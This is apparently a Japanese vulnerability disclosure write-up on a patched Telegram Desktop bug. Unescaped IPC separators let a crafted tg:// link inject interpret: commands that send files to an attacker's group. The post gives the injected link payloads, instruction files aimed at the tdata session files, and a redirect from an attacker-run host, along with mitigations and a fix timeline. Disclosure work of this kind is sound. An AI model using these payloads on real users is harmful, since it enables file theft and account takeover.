Telegram Desktop:IPCインジェクションによるワンクリックアカウント乗っ取り
Telegram Desktop の単一インスタンス IPC におけるエスケープされていない区切り文字により、リンクを1回クリックするだけでディスク上の任意のファイルを読み取り、セッションファイルを含めて攻撃者に送信できる。
日本語
コピー

概要
誰かに Telegram のグループへ入れられた。チャットにリンクが流れてくる。クリックした瞬間、あなたの Telegram アカウントはあなただけのものではなくなる。
どうやって?
Telegram Desktop は、クリックされたリンクをテキストとしてローカル socket 経由で既に起動している自身のインスタンスに渡す。そのとき、コマンドを区切る文字をエスケープしない。だから細工されたリンクは 1 つの命令として届かない。複数の命令として届く。
私が見つけたこの連鎖には 2 つの欠陥がある。1 つ目はこのインジェクション。2 つ目は、注入されたコマンドが触れられるもの、つまり内部 URI scheme の interpret: だ。これは指定された命令ファイルに書かれたファイルを読み、あるチャットへ送信する。誰が起動したかを確認せず、確認も求めない。この 2 つが合わさって、1 回のクリックが任意ファイル読み取りになる。本記事ではまずこの連鎖をたどり、それを使って被害者のログイン資格情報を構成するファイルを盗み出す。
| 影響を受ける | Telegram Desktop 7.2.8 まで、Windows(6.9.3)で確認済み |
|---|---|
| 影響 | リモートからの任意ローカルファイル読み取り、攻撃者が管理するチャットへの漏洩、アカウント乗っ取り |
| CVE | CVE-2026-107181 |
| 修正 | 7.2.9、commit db3405699f |
| 深刻度 | 8.1 High、CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
1 つのリンク、2 つのプロセス
OS はプログラムが URI scheme を登録できるようにしており、そうしたリンクに遭遇したときどのアプリを起動すべきか分かる。Telegram Desktop は tg を登録している。以降、OS は tg://... リンクが Telegram のものだと認識し、その URL をコマンドライン引数として渡して起動する。
Telegram が起動していなければ、プロセスが立ち上がり、文字列を引数として受け取り、URL オブジェクトに変換して内部で処理する。プロセスは 1 つで、通信するものは何もない。
だが Telegram が既に起動していたら? OS は知らないし、確認もしない。最初のプロセスとまったく同じものを新たに起動する。Telegram 自身が自分は余分だと判断しなければならない。その判断の仕方が、ローカル socket への接続を試みることだ。
既に起動しているインスタンスがサーバー側になる。起動時からずっとこの socket で待ち受けている。新しいプロセスがクライアント側だ。接続に成功すれば、生きているインスタンスが既にあると分かるので、リンクを渡して終了する。
socket はオブジェクトを運べず、バイトしか運べない。新しいプロセスのメモリ上にある URL オブジェクトはこの経路を通れない。まず 1 行のテキストに潰さなければならない。
この操作には名前がある。シリアライズだ。その逆、つまりテキストからオブジェクトを再構築するのはデシリアライズ。構造化データが境界を越えるとき、この 2 つの手順は避けられない。そしてまさにここで、データ内部の境界が構造によって維持されなくなり、テキスト中の文字になる。
Telegram は独自の形式を使っていて、単純だ。各命令はキーワードの後に引数が続き、最後にセミコロンで終わる。リンクを開くにはこう書く:
OPEN:tg://x?a=1;
tg://x?a=1 は Telegram 内部のどのハンドラにも一致しないので、単体ではこのリンクは何もしない。ただの運び屋だ。
この行はここで組み立てられる。開く URL ごとに 1 行:
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
一方、起動中のインスタンスはデシリアライズする。受け取ったバイトを読み、各セミコロンで切り、各部分を独立した命令として扱う。OPEN: で始まる各部分について、後ろの内容を取り出して URL を再構築する。まるでこの URL がコマンドラインから渡されたばかりであるかのように。
// sandbox.cpp:453-463 (abbreviated)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
エスケープされない区切り文字
では、転送される値そのものにセミコロンが含まれていたらどうなるか。この形式が区切り文字として使っている文字だ。先ほどのリンクに何か足してみる:
tg://x?a=1;CMD:quit
新しいプロセスはこれを URL として扱う。プロセスにとってそのセミコロンはクエリ文字列内の普通の文字にすぎない。この URL を平坦化し、socket に書き込む:
OPEN:tg://x?a=1;CMD:quit;
起動中のインスタンスは各セミコロンで切り、1 つではなく 2 つの命令を得る:
OPEN:tg://x?a=1
CMD:quit
これがインジェクションであり、2 つの欠陥のうちの 1 つ目だ。
interpret: URI scheme
上の例が注入するのは CMD: だが、名前に騙されてはいけない。受け付けるのは show と quit だけで、最悪の結果でもアプリを終了させる程度だ。
受け付けるコマンドは全部で 4 つ、うち 3 つは無害。4 つ目が OPEN: で、問題はここにある。任意の URL を受け付け、プロトコルを一切フィルタしない。
コードを読むと、Telegram 内部にもう 1 つ URI scheme があることが分かる。interpret: だ。
OS は interpret: で始まるリンクを渡されてもどうすればいいか分からない。どのプロトコルハンドラとしても登録されていないからだ。これは Telegram 自身のコードの中にだけ存在し、他の scheme と同じく start-URL リストから拾い上げられる。
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
つまり OPEN: 経由でたどり着ける:
tg://x?a=1;OPEN:interpret:instructions.txt
では interpret: は何のためのものか?
これは Telegram がかつて自社のバージョンを配布するために使っていたツールだ。新バージョンがリリースされると、ビルド成果物をあるチャンネルへ送り、更新履歴をキャプションにする。手作業でやる代わりに、スクリプトに小さなテキストファイルを書かせ、チャンネル、送信するファイル、書くテキストを記し、そのファイルのパスを渡して Telegram を起動する。
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)
命令ファイルはこんな形をしている:
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.
from: の値は現在ログインしているアカウントの id と照合される。操作者が別のアカウントでバージョンを公開するのを防ぐためだ。この行は存在するときだけチェックされ、書かなければスキップされる。送信先は channel: だけで指定し、チャンネルかスーパーグループでなければならない。
実際に動くのは InterpretSendPath という関数だ。
で、バグはどこにあるのか。interpret: が実行するのは特権操作で、ディスク上の任意のファイルを読み出してどこかのチャットに送りつける。誰にも確認を取らず、誰が要求したかも見ない。
この関数には認可チェックが一切ない。
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());
コマンドラインから呼ぶ場合——公開スクリプトはそうしている——これは問題にならない。攻撃者がまずこのマシンに足場を築く必要があり、足場さえ築ければファイルは自分で読めるからだ。だが同じ操作が socket 経由で、ひいてはインジェクション経由で届くようになった瞬間、危険な関数がリンクを一回クリックするだけで使えるものに変わる。
これが欠けている認可チェックであり、二つある欠陥のうちの二つ目だ。
命令ファイルをディスクに書く
攻撃者は、被害者のディスク上に命令ファイルを一つ置き、file: を盗む価値のあるファイルパスに向け、channel: を自分のチャンネルに向けるだけで、リンク一回のクリックでマシン上の任意のファイルを外に持ち出せる。
では、どうやって攻撃者はテキストファイルを他人のディスク上の予測可能なパスに置くのか。最も直接的な方法は、チャットの添付ファイルとして送ることだ。
実際、Telegram Desktop はデフォルト設定で、グループに届いた 8 MiB 以下のファイルを自動ダウンロードする。ブロードキャストチャンネルでは自動ダウンロードはオフになっている。ファイルは標準のフォルダに落ち、送信者が選んだファイル名がそのまま使われる。被害者のクリックは不要で、場所は予測できる(名前が衝突した場合、Telegram は instructions1 (2).txt として保存し直す)。ステッカー、GIF、ボイスメッセージなど一部の形式は内部キャッシュに入り、ディスクパスとしてアクセスできない。
このパスは Telegram 自身が組み立てる(file_utilities.cpp:172-181)。Windows では:
C:\Users\<user>\Downloads\Telegram Desktop\<file name>
ファイルをグループに送れば、攻撃者はそれがどこに保存されるか正確に分かる。パスには未知の要素が一つ残っているように見える——Windows のユーザー名だが、interpret: も相対パスを受け付け、相対パスは Telegram 自身の作業ディレクトリ、つまりデータフォルダ(logs.cpp:381)を基準に解決される。Windows ではそれは %APPDATA%\Telegram Desktop で、ユーザーのホームディレクトリの三階層下にあり、Downloads はホームディレクトリの中にある。だからこんなパスなら:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
ユーザー名を知らなくても、攻撃者に確定したパスを与える。
ファイル読み出しからアカウント乗っ取りへ
InterpretSendPath は一回の呼び出しで一つのファイルしか送らない。命令ファイルに複数行の file: があっても、有効なのは最後の行だけだ。この制限を破る手が二つある。攻撃者は命令ファイルを好きなだけ送れるし、インジェクションは最初のコマンドで止まらない。セミコロンごとに次のコマンドが始まる。つまり三つの標的なら命令ファイル三つ、加えて一つのリンクに積み重ねた三つのコマンドだ。
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
全行程を通じてプリミティブは変わらない。任意ファイル読み出しだ。変わるのは何を読むかだけ。SSH 秘密鍵、ブラウザのパスワード保管庫、クラウドの資格情報ファイル、あるいは API token が入った設定ファイル。
Telegram はローカルデータを平文で保存しない。だからユーザーがディスクに保存するものはすべて暗号化され、セッションの認可情報も含まれる。クライアントはこの鍵で Telegram サーバーに自分の身元を示す。これを手に入れればアカウントを手に入れたのと同じで、ウェブサイトの session cookie とそう変わらない。
Telegram は鍵のカプセル化を使う。ここでは二つの鍵が関わる。一つ目は DEK(Data Encryption Key、データ暗号化鍵)で、長くランダムでエントロピーが高く、ユーザーデータの暗号化に使う。二つ目は KEK(Key Encryption Key、鍵暗号化鍵)で、DEK の暗号化にだけ使い、パスワードそのものではない。パスワードから鍵導出関数(KDF)で導出され、その際に暗号化済み DEK と同じ場所に保存された salt も使う。
擬似コードで書くと、ローカルデータを開く連鎖はこうなる:
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # empty if none is set
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
デフォルトでは Telegram Desktop にローカル passcode はなく、設定で自分で設定する必要がある。設定していない場合、導出に使うパスワードは空(storage_domain.cpp:102)で、KEK は空文字列と salt から導出される。その salt は tdata/key_datas、つまり暗号化済み DEK を保存しているファイルに平文で入っている。このファイル一つを読めば、KEK を再計算して DEK を開封するのに十分だ。
つまり passcode を設定していなければ、key_datas を手に入れた者が DEK を手に入れ、DEK があれば残りすべてを復号できる。セッションの認可情報も例外ではない。
関わるファイルは三つ、うち機密を保存しているのは二つだけだ:
tdata/
├── key_datas the salt and the encrypted DEK
├── D877F783D5D3EF8Cs the MTProto authorization, encrypted with the DEK
└── D877F783D5D3EF8C/
└── maps the index of the account's stored data
このフォルダ名はランダムではなく、インストールごとに変わることもない。文字列 data、つまりデフォルトのデータ名(storage_file_utilities.cpp:241-250)から導出される。どのインストールでも完全に同じだ。
三つ目のファイルはインデックスで、機密は含まない。だがこれがないとセッションは読み込めない。Telegram はこのインデックスを読むときにだけ認可情報を読むからだ。とはいえ盗むかどうかは任意で、攻撃者は自分で作れる。この概念実証では、単に都合がいいので他の二つと一緒に持っていくだけだ。
以上から、三つのファイルを同時に手に入れた攻撃者はアカウントを手に入れる。まっさらな tdata にこれらを置いて Telegram を起動すれば、被害者のセッションが開く。
リンクを届ける
攻撃には被害者のクリックが一度必要で、しかも Telegram の外からでなければならない。Telegram のチャット内で tg:// リンクをクリックするとプロセス内で処理され(click_handler_types.cpp:278)、socket にまったく届かないので、インジェクションの余地がない。一方、普通の https リンクはシステムのブラウザで開く(ui_integration.cpp:437)。Telegram Desktop に内蔵ブラウザはないからだ。そこで攻撃者は普通の https リンクを送り、自分のサーバーでそれを細工した tg:// リンクにリダイレクトさせる。
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
ブラウザによっては、被害者がその handler を以前に使ったことがあるかどうかにもよるが、Telegram を起動する前に確認を求められることがある。
概念実証
-
攻撃者がスーパーグループを作り、被害者を招待する。Telegram のデフォルトのプライバシー設定ではこれが可能で、招待された側の確認は不要。
-
攻撃者がグループに3つの命令テキストファイルを投稿する。それぞれが窃取したいファイル1つに対応し、いずれも攻撃者自身のグループをターゲットに指定する。
from:の行を省けばアカウントチェックを完全にスキップできる:channel: 2001234567 file: tdata/key_datas caption: pocファイルはプレーンテキストで、LF 改行、バイトオーダーマークなしでなければならない。残り2つのファイルはそれぞれ
tdata/D877F783D5D3EF8Csとtdata/D877F783D5D3EF8C/mapsを指す。被害者がグループを開くと、自動ダウンロードでこの3つのファイルがすべてローカルディスクに保存される。そして被害者はこのグループを開く。ステップ3のリンクがそこで待っているからだ。 -
攻撃者がチャットに無害なリンクを投稿する:
https://corvus.sec/rules -
被害者がクリックする。ブラウザがリダイレクトをたどり、今度はリダイレクトの各ターゲットにコマンドが1つ付いている。以下は整形のために改行しているが、実際は1行として送信される:
tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt -
OS が2つ目の Telegram プロセスを起動し、そのプロセスが socket 経由で URL を実行中のプロセスに転送する。エスケープされていないセミコロンがそれを分割し、注入が発火する。
-
3つの
interpret:コマンドが実行され、3つのファイルが攻撃者のグループにアップロードされる。確認ダイアログは一切表示されない。 -
攻撃者がこの3つのファイルから
tdataを再構築し、被害者のアカウントを開く。
緩和策
7.2.9 以降にアップグレードする。 問題を本当に塞ぐのはこれだけだ。他の策は露出面を減らすにとどまる。
- 「各ファイルの保存先を確認する」をオンにする。 これを有効にすると自動ダウンロードがまったく行われず、指示ファイルがディスクに到達しない。アップグレードに次いで有効な緩和策だ。
- 「グループに追加できる人」を連絡先のみに制限する。 窃取されたファイルの送信先はチャンネルかスーパーグループしかない。この設定は、攻撃者がファイルを受け取る場所を断つ。
- ローカルパスワードを設定し、本物のパスワードと同じくらい慎重に選ぶ。 ファイルの窃取は防げない。窃取されたセッションを使えなくするだけだ。
修正
2026年9月16日のコミット db3405699f で修正された。更新履歴も 7.2.9 を同じ日付としているが、実際のリリースは翌朝だった。このコミットは interpret:// scheme と Support::InterpretSendPath を完全に削除し、単一インスタンス socket 上のレコード区切り文字をエスケープする。書き込み前にパーセント記号を前置した16進エンコードでエスケープし、分割後にデコードするので、データ中のセミコロンが境界になることはもうない。
さらに2つの対策が加わった。同じ接続上で OPEN: が現れたら CMD: と CTRL: のレコードをスキップする。その接続で非ローカルの URL が一度でも現れたら、ローカルファイルパスを破棄する。
タイムライン
| 日付 | 出来事 |
|---|---|
| 2026-06-25 | ZDI 経由で報告 |
| 2026-09-16 | ベンダーが独自に問題を修正、コミット db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 リリース |
| 2026-09-30 | ZDI が「修正済み」としてクローズ。開示権が自分に戻る |
| 2026-10-03 | 本記事 |
| 2026-10-07 | CVE-2026-107181 を割り当て |
修正はひっそりと出荷された。7.2.9 の更新履歴はレンダリングの修正1件に触れるだけで、攻撃チェーン全体を終わらせたコミットのタイトルは「Remove legacy interpret path helper」であり、セキュリティアドバイザリも添えられていない。
BeakSec の YouTube チャンネル
こういう内容に興味があれば、自分の YouTube チャンネル BeakSec でサイバーセキュリティ関連の動画を出している。始めたばかりのチャンネルなので、登録が支えになる。